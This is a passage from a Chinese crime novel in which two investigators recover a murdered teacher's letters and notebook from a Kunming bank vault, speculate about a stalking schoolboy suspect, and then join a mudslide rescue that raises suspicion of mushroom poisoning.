“我们查了一下那个与他们联系的微信号,截图我发你蓝信了。微信号是一串意味不明的数字加字母组合,技术员查了一下,这个号已经注销了。我们又和TX那里的技术员联合追踪,发现这个人有两把刷子。他注册微信用的那个手机号是境外虚拟运营商号码,而且是在暗网通过比特币购买的匿名号码。追踪链断了,网警还在努力,暂时还查不到。 “所以,这事儿确实很蹊跷,我已经派人时刻关注章记者家附近的监控,有新的进展再联系你们。也提醒你们在云南千万注意安全。” 这一切不出秦梓需所料,她应道: “好,麻烦您了谢支。我们这儿也有一些新进展……”说着就将她们目前查到的都和谢云卿汇报了。 谢云卿道:“好,我等你们的好消息。如果当真能拿到杨莲的遗物,我们多半就能搞明白她当年到底知道些什么了。” 挂了电话,秦梓需一回头就看到章弥真不知何时站在她身边,她吓了一跳。 “谢女王给你的电话?”章弥真笑问。 “女王……对,是她。” “怎么样啊?”章弥真显然也猜到了电话内容。 秦梓需用自己的话简略复述了一遍电话内容,章弥真越听越是脸色难看。末了,她吸了口气,叉腰道: “好家伙,看来我是真的被人盯上了。” “放轻松,警方肯定能揪出那个人。如果真是凶手,我们查案就是,直到把他彻底查出来。”秦梓需安慰她。 “说得好!”章弥真攥拳道,“这就去银行吧,我坐都坐累了。” 秦梓需没着急,拉住她道:“我知道你看耿剑秋不爽,你稍微收敛点,别表现得太明显了。” “行,你是我领导,我听你的。”章弥真很意外地居然顺从了秦梓需的意见。不过能不能做到还得两说。 “耿剑秋这个人,虽然和我们不大对路,但毕竟他在一线多年,也有可取的办案经验。之前他跟我分析了一下关于凶手的画像,他认为抛颅案凶手不是学生,而可能是马军方面的关系人。依据是第一案爆燃案里,点火的很有可能是陈老师,而且她是在在煤气泄漏、气味明显的情况下点火的。 “从这个角度来看,陈老师显然和马军有不可调和的矛盾,他认为爆燃案是激愤之下的同归于尽,而第二案则是马军的关系人对陈老师关系人的一次复仇。你查学生不是没有下文了吗?他的这个思路,虽然不合理之处很多,但也不能说可以完全排除。 章弥真却直摇头:“陈老师怎么可能会点火?这简直难以置信。” “你的依据是?”秦梓需问。 “她是个母亲,她就算谁也不顾,也会在乎自己的孩子。她的孩子都还在楼上,她怎么可能因为一时激愤,就把自家给炸了?这种事在那种很容易激动的人身上倒是有可能发生,但陈老师是什么人,你和我还不知道吗?她理性得可怕,情绪也非常稳定,怎么会做出这种事?所以我不相信。”章弥真道。 秦梓需点头:“对,耿剑秋忽略了陈老师的性格问题,还有身为母亲的心态。所以我认为,现场存在定时□□,但难点在于,被大火烧毁了,当年现场采集物证时没有找到这类证物,现在已经很难去证明存在这样的定时□□了。公诉时,法官要参考的是确凿的证据,而不是我们对于陈老师性格的证词。” 章弥真气不顺:“不行,我们必须找到确凿的证据来证明爆燃案是他杀案,否则很容易让凶手开脱出去,而且还会让陈老师背上炸死全家的恶名,这一点我完全无法接受。” 秦梓需面色严肃地点了点头。 午休结束,她们进入银行,因为有了上层领导之间的事先沟通,再加上公安身份的加持,银行的领导亲自来接待,并带他们去了保险柜所在的现金枢纽区。 章弥真还是头一回进入只有银行工作人员才能进入的后台金库,实在是大开眼界。工作人员把她们带到了保险柜所在地方,秦梓需取出那个装满了钥匙的袋子,又将存单也亮了出来。 工作人员在那个袋子里找了半天,没能找到匹配的钥匙,众人一阵失望。不过因为有存单,她们很快找到了存放的柜子。 由于存物人已经过世了,且是由公安出于办案需求前来取物,银行没有在这方面教条,最终还是开启了那个存物柜。 一个厚厚的档案盒被取了出来,档案盒外还包裹着一层防潮的保鲜膜。这档案盒很像是青竹坳中学的东西,侧面还贴着语文的标签。 众人带上手套,直接在银行给她们腾出来的空桌上开始查看里面的物品。 她们小心揭开了外面的保鲜膜,打开了档案盒。首先映入眼帘是大量的信。每一封上都有明确的寄信人陈君梅的字样,众人经不住欢呼起来,一个个开心得好像找到失而复得玩具的孩子。 这让银行的工作人员感到非常困惑。 她们数了一下,一共9封信,时间跨度为2001年10月至2002年6月。最后那封2002年6月的信,很有可能是陈君梅寄给杨莲的最后一封信。 除了9封信之外,这个文件盒里还有一张胥城地图,上面用红色签字笔做了些记号,把中学全都圈了出来。另有一份02年胥中初三生的体检名单,里面的男生全都被做了简单的背调,身高体型都被标注出来,实在是令秦梓需等人十分吃惊。 最后,还有一本笔记本,里面全是杨莲为了查陈老师家爆炸案做的侦查笔记,她不知道从哪儿搞到了当年陈老师家的建筑平面图,凭着零碎打听来的情况,想象爆炸发生时的状况,绘制了一份爆炸现场图,与秦梓需手里那份现场分析图竟然相差无几。 众人看着这些东西,陷入了良久的沉默。 半晌,秦梓需突然对耿剑秋道:“现在你还坚持凶手不是学生?” 耿剑秋说不出话来,他也产生了动摇,尽管爆炸案仍然不能说一定是学生做的,但杨莲的侦查方向是学生,且确实被害了却是事实。这显然会影响警方的侦查方向。 秦梓需将2002年6月的那封信从信封里取出来,展开看,不一会儿,她的眉头就蹙了起来。 其余人耐不住性子,都凑到她身后看。 信非常简短,只有几行字,且不做言语修饰,字迹也有些凌乱飞舞,确实是陈老师的字迹。秦梓需、章弥真已经很久没有再见过陈老师的字迹了,如今猛然看到,陌生与熟悉的感觉交织,五味杂陈。 【莲: 见字如晤。 上月你的来信我收到了,犹豫再三,还是给你回了这封信。 我丈夫他已然发现我们之间的书信往来,尽管我多次解释你是女人,他却始终心存怀疑,我们近期因此多有争吵。他现在很敏感,我想,我们之间的书信往来也许可以停一段时间。 实在抱歉,本不该让你承受我们夫妻之间的龃龉。望寄给你的书,能让你心中得到慰藉。我会找时间向他说明一切。只是你知道的,我不可能放下这一切。 另,此前提及的那个孩子,近期似乎举止有所收敛,毕竟时近中考,他也知道什么才是正事。所以,忘了关于那个孩子的一切吧,不过是青春期的躁动罢了,等到毕业了,我与他也不会有瓜葛了。 此致 孤独的根号 友:君梅 二零零二年六月十三日于胥城中学】 “这里面提到了孩子举止收敛……但没有名字。”秦梓需道,随即她连忙一封一封往前翻,将每一封信都速览了一遍。 然而信中并未明确提到那个孩子的名字。而且从后续发生的事来推断,显然杨莲并不知道那孩子是谁,所以她才需要去查。而陈老师肯定是出于保护孩子的目的,也并未在信中明确提及孩子的姓名。 这9封信应该是杨莲从众多的书信来往中有目的地摘选出来,她们书信往来的频率至少是一个月一封信,由于旅途遥远,这一寄一回间确实需要这么长时间。 陈老师是从2001年10月的那封信里第一回提到了那个未知名的孩子,她明确说了是个小男孩,所以性别是确定的。她说这个男生自新学期开学以来,行为举止有点不大对劲,总是会在暗处盯着她看,有时候上她的课还愣神,会在本子上画陈老师的素描画像。 她觉得不对劲,也找孩子聊过,但小男孩似乎性格孤僻,不爱说话,不论对他说什么,他都只是闷闷地应一声。所以最后也不知道有没有起到开导效果。 她还提及这男孩成绩平平,开学以来成绩也一落千丈,似乎有了什么心事。唯一值得称道的也就是数学成绩还行,处于班级里的中上位置。 但具体是哪个班,她也没提。 “啊!!!陈老师到底为什么不写明白啊!”章弥真抓狂了。 秦梓需道:“这符合她的性格,她素来谨慎,思虑周全。何况杨莲这位通信对象似乎有点见不得光,她害怕东窗事发。一旦马军知晓她和杨莲之间的关系,一头脑热向学校举报妻子出轨,调查介入,那么这些信件可能都会公开。所以她不能在信里明确提及那个孩子是谁,这既是保护孩子,也是保护自己。至少她没有犯师德性质的错误。” “可这……唉,她当时根本无法料到后来竟然会发生如此恶劣的事……”章弥真不知该说什么才好了。 这已经超出了“人善被人欺”这个词语的形容范畴了,章弥真不自觉代入,想象自己宽待了一个暗中窥视自己的阴暗男学生,换来的却是对方把自己全家人都害死了,还把前来查找真相的挚友也杀了,且完美隐身,逃脱法律制裁至今。 这个15岁的男孩,难道是地狱里爬出来的恶魔吗?她只感觉头皮发麻。 第37章 第三十七章 秦梓需、章弥真、耿剑秋和吉克四人一起协作,小心将这些杨莲的遗物全部先拍照取证,直接通过蓝信发送回大后方。 在拍到笔记本的最后一页时,秦梓需等人震惊看到杨莲用清晰的大字写到: 【当你看到这行字时,如果没有听到我的死讯,那么请不要报警,也不要为我复仇,请将这一整个文件盒烧掉。请务必这么做,这是为了你与你家人的安全着想。】 秦梓需等人呆滞半晌,说不出话来。这句话是什么意思?细细思索,不由得脊背发寒。他们彼此相顾,一时间谁也没说话,只是默默继续手上的活。 他们将笔记本一页一页拍完,然后将证物全部原路封装完好,最后用一个大证物袋装了文件盒,再放入了耿剑秋斜背在身上的挎包里。 一行人出了银行,返回车上,商量了一下后续该怎么办。 事情出乎意料地取得了进展,以至于没有再返回药山镇的必要了。秦梓需很着急,她急着赶紧回去,好好研究一下刚刚取得的物证。 于是他们打算就留在昆明,等留守在药山镇的小宋将他们遗留在宾馆里的行李物品都收拾好,再带来昆明会合,然后直接从昆明飞回胥城,这样会更快一点,省去来回奔波的无效旅程。 虽然小宋是个男的,但章弥真、秦梓需倒也没有什么特别需要避讳他的行李物品,也不介意让他帮忙收拾东西。 她俩都属于是那种有随手整理身边物品习惯的人,什么东西都会规制得整整齐齐。 章弥真会养成这种习惯,源自于她繁忙的工作和频繁的出差所带来的教训。她从前并不是这样,因此频繁出差中不知丢三落四了多少东西,带来了很多麻烦。后来痛定思痛,强逼着自己顺手收拾物品,物品固定摆放位置。出差在外,每天早上都会将物品全部入箱,以备随时能在应急状态下提箱走人。 而秦梓需这方面已经有些近乎于强迫症了,这是她的性格和思维里天然带来的。所以今天两人出门时,就已经将行李收拾得七七八八,小宋只需锁箱就行。 然而计划不如变化,好不容易打通了小宋的电话,小宋那里却带来了不好的消息: “镇子这边突发泥石流,往昆明的道路被冲了,我得等抢修结束了,才能坐车出来。” “要多久?”秦梓需蹙眉问。 小宋扭头问了一下镇派出所里的人,得到答复后回道:“他们说这次泥石流还挺严重,抢修起码也得1-2天才能抢通。” “好,那你自己注意安全,我们就在昆明等你过来会合。”秦梓需叮嘱了两句,挂了电话。 “真是天公不作美。”章弥真叹息。 “雨季,川滇泥石流频繁,没办法。”秦梓需应道。 耿剑秋道:“我来订酒店,就订在这附近吧,不跑远了。” 吉克看上去有些心神不宁,他很担心镇子的情况,打电话去联系派出所的同事询问情况。又打电话去家里问安危,好在大家都没事,他才算是安下心来。 四人就在这银行附近的一家快捷酒店入住,章弥真在手机上扒拉了一下地图,才有了地理方位概念——这里是呈贡老城区,附近就是呈贡老街。 因为突然有了空闲时间,秦梓需将所有拍照存档的信件、笔记本照片全部导入平板,然后就和章弥真在酒店房里仔细翻看这些照片。 现在手机拍照真是清晰,放大后,连笔触都能感受到。当然这还不算是正式的证物照片,证物照需要痕检用专业设备来拍。 她们将9封信和笔记本都通读了一遍,此间,心绪几经起伏。 尽管陈老师写给杨莲的回信语言质朴,并无多少华丽的辞藻,但字里行间全是关怀。她会对她说些家长里短的抱怨话,也会和她倾诉工作中遇到的问题。她们还会交流文学和阅读心得,进行一些很有哲思深度的对话。 她们是绝对的灵魂共鸣者,甚至称为灵魂伴侣也绝对不为过。 有的时候,陈老师的信里会流露出对杨莲的安抚,她总是对杨莲道歉,总是要强调她放不下家庭,尤其是不能不顾女儿。有时候也很沮丧,总说些不该再继续联系的话语。 能看得出来,在这段关系里,杨莲是求进者,她总是在寻求进一步的发展。秦梓需和章弥真不能看到杨莲给陈老师的信里都写了什么,但从陈老师的回信里,大致能猜到她在劝陈老师早点离婚,摆脱那些不该让她承受的负担。 杨莲似乎还认为陈老师才华横溢的一生,被马家人全都耽误了。 这话在秦梓需看来有些刺眼,但若换位仔细思量,也确实如此。陈老师如果没有家庭的牵累,也许她能在事业上更进一步。在她人生的最后那两年里,她其实显得十分疲惫,这一点,秦梓需是能感受到的。 在章弥真看来,没有人有资格对他人的人生指手画脚。所以她不会认为杨莲有什么问题,也不会认为陈老师有什么问题,她认为,这是两个被困住的女人在彼此依偎,寻找心灵的出口,这无可指摘。 “说实在的,看她俩的信,我真的感觉她们的关系很难用朋友来形容。这一定是超越友情的关系。”章弥真道。 “是,而且这一点,两人都心中有数,不然不会遮遮掩掩。”秦梓需道,“我让小宋查杨莲和胥城、蚌埠之间的关联,不知道他能不能查到。我猜测早年间,可能两人还是学生时期,就有交集。后来分开,但一直保持着联络,又或者因缘际会,才会一直维持着书信往来。” “可杨莲的中学没有记录?”章弥真疑惑道。 “那个特殊年代很正常,很多中学生不上学,直接参加工作了。恢复高考后,很多人是从岗位上考上大学的。”秦梓需道。 “嗯……”章弥真沉吟,就听秦梓需补充道: “而且,她的年纪远比我想象中的大。我原本以为2002年时她不过二三十岁,这个年龄段的青年教师支教的比较多,但实际上,她那会儿已经四十岁了,和陈老师是同龄人。” 章弥真回忆道:“她是97年来云南支教的,那会儿确实是三十来岁。” 秦梓需摇头:“97年她也已经35岁了,而且是一个留校任教的博士,她这个年龄的教师应该不会被考虑在支教范畴里了。但她还是参加了支教项目,这说明是她自己主动要求来的。我不知道她具体是出于什么心理动因,但我感觉她很可能是想逃避什么。 “你没有在大学里待过,支教虽然能给履历镀金,但实际上对于升职称的帮助根本不大。杨莲如果要考虑自己的前途,她怎么会在支教岗位上一待就是8年?无非三种解释,要么是她被排挤了,干脆离开上交大。要么是她主动逃避什么,不愿再回去。又或者她真的大爱无疆,愿意为山里的孩子奉献牺牲。 “第三种情况不是没可能,在漫长的相处里和孩子们产生感情,愿意留下,这非常正常。但我感觉这不是她的原发动因。原发的动因,可能跟她的私人感情生活有关系。毕竟在那个年代,她这种三十多岁都不结婚的女人,实在太难了。” “唉……”章弥真叹息。 两人沉默了一会,章弥真道: “这9封信里确实每一封都提到了那个无名氏男生,且越是靠后,那个男生所占的篇幅就越大,似乎杨莲也很关注这件事,可能有专门在信里督促陈老师每次都要和她讲一讲情况。” 她掰着手指细数信中提到的无名氏男生的作为:“从暗中窥视,到给老师画像,再到给老师送花,最后甚至一路跟着老师回家,时常徘徊在老师家附近,还被老马撞见过。这简直是跟踪狂了,确实很不正常。 “而且……我不懂,为什么会是陈老师?在我看来她就是个操碎了心的中年女人,古板严肃,看上去毫无性吸引力。” 秦梓需道:“你这么想就有点浅了。恋师……算是青少年之中常见的心理现象,其成因很复杂,而且有可能多种因素交叠出现。 “一是青春期的孩子在建立自我认同,同时伴随性意识的觉醒。青少年开始探索亲密关系,但受限于社交圈狭窄,容易将情感投射到易接触的权威角色,如老师的身上。 “二是个体将早期对父母或重要他人的情感无意识转移到他人身上的过程。老师作为权威象征,可能成为学生投射童年依恋或未满足情感需求的对象。 “三是教师通常拥有知识权威、社会经验及评价权,这种差距易引发学生的慕强心理。 “四是若个体在童年未形成安全型依恋,可能在青春期通过替代关系寻求补偿。教师若表现出关怀与支持,可能触发学生的情感依赖。 “五是‘假想观众’概念,青少年可能过度关注自我形象,并将教师视为‘观众’之一,从而放大对其的情感投入。 “六是文化与社会强化因素,东亚文化中,教师被塑造成“道德楷模”或“人生向导”,这种社会期待可能加剧学生的理想化认知。” 章弥真若有所思地点头,随即像学生般举手提问道:“那请问秦老师,爱恋老师的心理是怎么发展到杀人的地步的?” 秦梓需看向章弥真,默了片刻,缓缓道:“犯罪心理的发展是一个极其复杂的过程。我现在唯一能够推测的是他实行犯罪前的心理,那就是:得不到她,便毁掉她和能够得到她的人。” 章弥真背后一寒。 …… 本来在紧张出差调查中的章弥真,突然清闲下来,顿时心思活络起来,在酒店里待不住了。难得来一趟昆明,她想去昆明城里逛逛。久闻斗南花市盛名,她很想去见识见识,顺带吃个过桥米线和菌子火锅。 她是不肯一个人旅游的,于是非要拖秦梓需一起去。秦梓需昨晚研究了一晚上杨莲的信件和笔记,信息上没能获取更多有价值的内容。今天本来还打算继续琢磨琢磨陈老师信中那个无名氏男生到底是谁,耐不住她软磨硬泡,最后只得答应同她一起出行。 她们出发前去问了一下耿剑秋和吉克,吉克说他不去了,但车子可以借给两人开。小伙子因为泥石流,没有心情出去玩。而耿剑秋推说他头疼,想留酒店睡觉,显然他也并不愿意跟着她俩跑,他现在有点害怕章弥真,能躲着就尽量躲着。 于是两人就开着车愉快地出发了,章弥真兴致勃勃,由她来驾车带着秦梓需跑。秦梓需也没啥心思玩儿,仍然在脑子里琢磨案情。虽然身体跟着章弥真出来了,心却还挂在证物照片上呢。 “哎呀老秦,你别想了,出来玩儿就要有出来玩儿的样子,换换脑子,说不定你一直想不通的问题就突然通了呢?”章弥真看出她的心不在焉,劝说道。 “唉……你说老校长当初是怀着怎样的心情,把杨莲的这些东西存进银行保险柜里的?他是不是没有看到笔记本的最后一页?”秦梓需显然没听进去她的话,反倒起了讨论案情的话头。 章弥真不解:“琢磨这个做什么?他当然看到了,只是要把这些烧掉,也不行吧。所以他会折中一下,会花大钱,专程跑到昆明来存放这些东西。” “杨莲已经在笔记里明示自己会有去无回,老校长既然知道了这一点,他有没有去确认杨莲的行踪?如果确认了她失踪了,老校长为什么不报警?”秦梓需纳闷问道。 “也许……老校长觉得杨莲脑子有问题。现在的校长不是说了嘛,老校长夫妻没有孩子,把杨莲当女儿看,杨莲却执意要辞职离去,断了联系,伤了他们的心。杨莲的性取向本来对老年人来说就比较难以接受,再加上她为了查这么个没有依据的爆炸案,把一辈子的前途都搭进去了,也许他们是被吓倒了,觉得杨莲疯了……”章弥真分析道。 秦梓需摇头道:“我觉得这很矛盾。杨莲如果知道自己有去无回,且不想让老校长知道自己要去干什么,她又怎么会把如此重要的东西都托付给老校长呢?而老校长既然拿到了如此重要的东西,他很可能看过,知道了杨莲去做什么,结合杨莲有去无回,他也不可能不报警。” “嘶……”章弥真被绕进去了,一时间还真有些想不明白。 片刻后,她放弃思考,道:“哎呀,都说别想了,不许再转动你那灰色的脑细胞了,跟着姐姐我好好逛逛花市!” 说话间,一脚油门,斗南花市已然不远。 第38章 第三十八章(投雷加更No.6) 斗南花市的宏大,是超乎秦梓需想象的。她觉得自己与这里忙碌的人们有些格格不入,那些卖花买花的人们脸上都带着轻松的喜色,可她却满面愁容。 章弥真起初还有些兴奋,这花市里满是芬芳,沁人心脾。各种叫得上、叫不上名儿的美丽花朵,望之让人心情愉悦。可逛着逛着,因为秦梓需的情绪不高,她也逐渐没了兴致。 她倒也不是真的能完全将案情抛诸脑后,她只是觉得案情沉重,总需要泄压阀。但看来她的泄压来得不是时候,尤其是药山镇还发生了泥石流,她在昆明这里玩乐,多少有些不合时宜了。 眼见着晃荡到中午11点,她意兴阑珊地对秦梓需道: “咱俩去吃个过桥米线吧。” “嗯。”秦梓需没有意见。 在花市附近的餐馆里落座,点完单,章弥真叹息道: “你要讨论案情,那就讨论吧。我知道这案子不破,你是连日子都过不好了。” 她虽这么提议,秦梓需却一时间不知该怎么开口了。沉默了片刻,她道: “我想了半天,如果老校长和杨莲之间还存在一个第三者,而杨莲的遗物其实是第三者转交给老校长的,也许就比较合理了。” 章弥真问:“何以见得会有个第三者?” 秦梓需斟酌着词语说道: “嗯……我表达得不准确。应该说,老校长和杨莲之间,存在一个物品交接的空档期。在这个空档期里,杨莲的遗物可能在某个地方封存,也可能在某人手里存着,直至到了2013年,因为某种原因到了老校长手里。 “我个人比较倾向于这个文件盒曾存在于某个未知的人手里,否则我很难想象杨莲会放心把这么重要的东西存在某个地方,不确定性太大了。除非她也把文件盒存在类似银行保险柜的地方。 “你想,杨莲是2005年离开云南的,但她的这个文件盒是2013年才存入银行保险柜的,这里面隔了8年时间。2013年5月,是老校长过世前夕,他是两个月后因急病走的。难道在这8年的时光里他都没想过要把这东西存进保险柜? “我觉得很可能是他在2013年5月前夕突然就拿到了文件盒,出于某种顾虑,他最终没有去报警,而是选择把东西存入了银行保险柜。不久之后,他就去世了。我总觉得他的去世,和存物的时间点如此接近,似乎有点不大对劲,我想查一下老校长具体的死因。” 米线来了,两人举起筷子,对着热气腾腾的米线,一时陷入了沉思。 章弥真吃了两口,道:“如果真的存在这么个第三者,那么Ta一定和杨莲关系密切,密切到杨莲信任Ta胜过信任老校长。但咱们之前做杨莲背调时,不是得知她是个很孤僻的人吗?不怎么和镇子上的人来往。究竟会是谁呢?” 秦梓需筷子上挑着米线却不吃,道:“不是镇子上的人,那么就只能是她身边经常接触的人。她是个老师,她身边就只有老师和学生。学生还是孩子,难以托付,我感觉可能是某个支教老师。” “但这很奇怪啊,哪个支教老师会在2013年把东西突然就甩给老校长不管了?支教老师更换如此频繁,东西怎么还会留在药山镇?最后让老校长拿到?啊……搞不懂!”章弥真感觉脑子里一片混乱。 “所以我还是想再回一趟药山镇,我想再查查看老师档案,看看2013年那段时间教师人员的变动情况。”秦梓需说完后,终于把筷子上挑着的米线送进了嘴里。 “再回去……要不你让小宋查?这一来一回太耽误事了。”章弥真挂上痛苦面具道。 秦梓需知道她不愿意再跑,但秦梓需觉得小宋一个人在镇子里,力量有些太单薄了,这要查起来挺费功夫,她自己在昆明享乐,反倒指挥别人在那儿卖力,到底不好。而且,她也不放心都交给小宋,害怕会有什么遗漏,得自己亲身查一遍,才能放心。 何况现在药山镇情况特殊,镇子上估计很多人都在参与泥石流抢修,哪儿还顾得上她们要查的这件事。 “嗯……再等两天,先等道路通了再说。”秦梓需先搁置了要回去的事。 二人吃完了米线,章弥真本还想去买双鞋的,她现在脚上穿的是一双镇子上杂货店里买的布鞋,虽然很有彝族风情,但实在有些不大符合她的年龄和气质。 但看秦梓需这个状态,她也就识趣作罢了,干脆驱车返回酒店,要工作,那就好好工作。 哪晓得车开到一半,秦梓需的手机突然来电,是耿剑秋的电话,她连忙接起,耿剑秋一开口就直入主题: “秦老师,你们赶紧回来,吉克这边急着回去,得用车。咱们可能一时半会儿走不了了,还得回一趟药山镇。” “出什么事了?”秦梓需心头一咯噔。 “泥石流出人命了,不好说埋了几个人,消防救援都在抢救,吉克很着急要回去,好像镇子上也有人失踪了,很可能被埋了,这种情况……我们最好也去帮帮忙吧。”耿剑秋道。 “好,我们立刻回去!”秦梓需当然不会拒绝。 挂了电话,她立刻跟章弥真说明情况。章弥真本还觉得泥石流抢通就行了,一听有人被埋了,登时神情严肃起来,脚下直加油门,迅速赶回酒店。 她们用最快的速度退房,便再由吉克驾车,一路飞驰往回赶。从中午出发,她们路上都没有休息,一口气开了回去,大概到了傍晚时分,她们的车子抵达了泥石流现场。 在现场外围,已经有公安消防拉起的警戒线,不允许车辆靠近了,早在更前面的道路分叉点,就安置了拒止桩和导引路牌,有交警指引车辆绕道而行。她们是出示了公安证件,才被允许进入道路,来到较为靠近的位置参与救援。 夜黑如漆,大雨如注,他们穿好雨衣下车,一下来就感觉浑身被雨点打得生疼。章弥真在昆明没买新鞋,但她也庆幸自己没买,否则又得报销一双鞋。至于脚上的布鞋,是15块一双的便宜货,她也顾不得那么多,直接穿了就上阵了。 远处消防搭建起的救援塔灯正在努力释放光亮,驱赶黑暗,大量身着反光橘红救援服的消防官兵正在泥石流塌方的土堆上用铲子一点一点清理泥土。 坡面已经用防雨布和土工布覆盖,配合沙袋和石笼将边缘压紧,防止水继续渗透入土。而大型挖机正在坡顶和坡两侧挖开排水渠,引导雨水流走。在救援现场的外围、土坡与路面对接的位置,竖起了几块大型挡土板,以保护现场救援人员。 “吉克!”有一个穿雨衣的人率先看到了他们,正在挥手招呼他们。几人定睛一瞧,才发现原来是镇派出所的所长。所长的身边站着小宋,他也来帮忙救援了。 “现在什么情况?”吉克连忙上前,雨声太大了,他不得不扯着嗓子喊话。 “找到埋人的位置了,是一辆农用三轮车,我感觉十有八九是李家老两口,我们派人去他们家看了,车不在,人也不在,家里黑灯瞎火的。” 吉克的面庞上起先是震惊,随后流露出困惑不解的神色: “下这么大雨,他们俩乱跑什么?平时这两人根本就不出镇子的!” 说罢突然回头看了一眼秦梓需、章弥真和耿剑秋,三者都很茫然,他们不知道“李家老两口”是谁。 “就是你们遇到家暴的那老两口!”吉克喊道。 三者登时如遭雷劈,愣在当场。 “他们到底乱跑什么啊?!哎呀!”吉克感到非常懊恼,他反复询问这个问题,是因为他感觉这两人突然从家里跑出来,可能和他以及秦梓需、章弥真和耿剑秋有关系。 “吉克!别愣着了,快来帮忙!”所长一边喊着,一边小心下到下方的救援挖掘现场,拿过一把铁锹,开始帮忙挖起来。 吉克立刻跟了上去,后方,秦梓需、章弥真也率先跟了上去,耿剑秋在后,还拿了三把铁锹,递给前两者。 救援的中心位置,已经能看到农用三轮车车尾露在泥土上方,但大半车身都还埋在土里,尚且看不到车里的人。他们在救援人员的指导下,小心用铁锹清理掉周围的泥土。 因为大雨倾盆,现场很难用防水布遮蔽雨水,救援位置泥泞不堪,一脚下去,很快就连脚背、脚踝一起没入泥地里。走也走不快,不然连脚上的胶鞋能直接拔脱。 他们只能一人分领一小块位置,专门负责清理这一块地方,尽量不挪动脚步。弓着腰一点一点将泥土清理出去,直至露出车后箱的轮毂,消防人员这才能把吊绳系在车身上,用挖机一点一点将车子从泥地里拔出来。但挖机也不敢动作太大,因为暂不清楚人员与车辆的位置关系,害怕蛮力乱扯,会伤到人。 哪怕知道人肯定活不下去了,但救援人员仍然想要保一个全尸。 在这种高强度的大雨里工作,人身上的雨衣根本不起作用,哪怕雨水灌不进去,只需一会儿,周身便已彻底汗湿。泥水无法遏制地灌入雨靴里,也根本顾不上。 现在所有人只是一门心思想要把人救出来,哪怕心里清楚对方已经丢了性命。 此后也许很多年,章弥真都无法忘记这个雨夜自己有多狼狈和懊恼。都说良言一句三冬暖,恶语伤人六月寒。她并不后悔骂对方的那句“狗东西”,因为家暴者确实不骂不爽。但如若他们是因为自己而死,这所造成的业果也未免太过让她难以承受了。 至少,她要搞明白他们到底为什么会在大雨天里跑出镇子。 也不知道挖了多久,章弥真都感觉双手都麻木了,腰也酸得直不起来。泥土被清理得差不多了,但下方灌了好多泥水。消防员用抽水泵一直在抽排,还有消防员直接跳了下去,用手在车箱附近摩挲。 这农用三轮车是烧柴油的,轿厢里可以乘坐两个人,只能在农村地区跑,进城违反交规,会被交警查。那消防员摸了半天,最后爬了上来,向吊机比了个手势,示意往上吊。 于是这埋在泥里的农用三轮终于被彻底吊了出来,众人看到灌满泥水的驾驶室里趴着一个人影,消防员打开轿厢门,将人从车里弄了出来。 立刻有等候多时的救援医生上前来查看,但很快就宣布死亡。医生是镇上诊所的医生,他擦干净死者的脸,道: “确实是李富国。” “就他一个人?他老婆呢?”章弥真忍不住问。 有消防员道:“下面都摸过了,没摸到有人。之前我们用仪器扫描过,埋在下方的只有这一辆三轮车,应该只有他一个人开着农用三轮出来。” “那为什么他老婆不在家里?你们到底是怎么查的?”镇派出所所长发火了,向身边的属下发火道。 秦梓需道:“这样,既然抢救出来了,我们就先回去找他老婆,至少确定人还在。” “好,秦老师,今天还让你们帮忙救援,实在是太不好意思了,那个……吉克!你带着秦老师她们趟泥巴过去,我们派出所的车就在那一头,你们上车往回走,去找找王永荷到哪儿去了。”所长一边说着,一边把车钥匙抛给吉克。 钥匙划过被探照灯打亮的银线雨幕,甩出一片轨道外的飞溅水珠。 第39章 第三十九章 吉克接住钥匙,便领头,带着秦梓需、章弥真和耿剑秋三人深一脚浅一脚地往泥石流塌方覆盖的道路另一侧过去。 小宋也跟了上来,看来是所长照顾他是外来的客人,让他也跟着先返回镇子。 一行五人再次挤上警车,吉克驱车往镇子上赶去。五个人周身挂满泥浆,将整个警车也染得脏污无比,十分狼狈。但此时没有人在意这个,他们顾不上疲惫,只想赶紧找到王永荷。 警车开入镇子,镇子的电路似乎也因为泥石流遭到了影响,东南部的许多人家断电了,路灯也没了,行车视线极差,只能看到车灯前方被照亮的区域。 秦梓需等人都感觉有些迷失方向了,但吉克还认识路,他开着车,十分艰难地开到了李家所在的那个坡子上。途中轮胎数次打滑,差点向后溜车,好不容易开上来,众人坐在车内惊魂不定。 秦梓需拿过手电,率先开了车门下车,发现李家大门紧闭,内里黑洞洞的,空无一人。前门是锁着的,窗户也未开,秦梓需绕到屋子后院,穿过玉米秸秆架子,走到了后门口。 这后门旁有一个猪圈,还搭了一个鸡棚,牲畜都缩在窝里躲雨睡觉。 秦梓需发现后门门上没有挂锁,一拉,门居然就开了。 “喂!后门没锁啊!人就这么出去了吗?”秦梓需没急着进去,回头问道。 “他们家出门,后门习惯性不锁的。”吉克赶过来道。 秦梓需没搭话,直接走了进去。她拉了下点灯拉绳,灯没亮,便知道这户人家也在停电范围。她举着电筒在屋里转了一圈,确实没看到人。 其余人也跟着她进屋,一时间五束电筒灯光在屋内乱晃。一进来就看到满屋狼藉,这里简直像是被乱马践踏过。 章弥真突然发现了什么,喊道: “喂,这是他们吃的晚饭吧,感觉饭吃到一半就走了呢。” 众人围了过来,集束电筒光芒照亮了火塘,碗筷就摆在火塘旁用砖块木板搭着的简易餐桌上,碗里还残留着饭食,是山里人简朴的家常饭——烤洋芋,搭配着一盘辣椒蘑菇炒肉,还有一碗玉米稀饭。 吊在火塘上的锅里的玉米稀饭还剩下一半,火灭了。这看上去确实是饭吃了一半,人突然就走了,都没收拾一下。 “不正常,嬢嬢平时做事很勤快,哪里会丢下这些不管就出门的?”吉克感到十分困惑。 秦梓需蹲下身,凑近碗里的饭食,用手扇风,嗅闻气味,但没有闻到特殊的味道。 她指着那个蘑菇道:“这个蘑菇是什么蘑菇?有没有毒?” “这是……环柄菇吧,没有毒的。”吉克辨认道,身为云南大山里的孩子,辨认蘑菇是基本的生存技能,但他随即想起什么,道,“不对!有可能不是……有一种有毒的环柄菇,褐鳞环柄菇,是有剧毒的,吃下去会上吐下泻,产生幻觉。而且外形很难与可食用环柄菇区分开来,菌柄根部有暗红色的环,得仔细看才能发现。” “难道是吃了毒蘑菇,所以产生了幻觉,行为才这么异常吗?”耿剑秋问。 “所以家里才被翻得这么乱……”章弥真的电筒环屋一周,但凡是个柜子、箱子,都被打开了,里面的东西被翻得到处都是。 吉克道:“太奇怪了,山里人其实都知道哪些蘑菇吃了铁定没事,哪些吃了有风险,李家老两口似乎也不是那种好这一口的人。李富国好酒,成天懒在家里啥也不干,就靠王永荷操持家务,王永荷平时也很少有机会能上山采蘑菇去。” 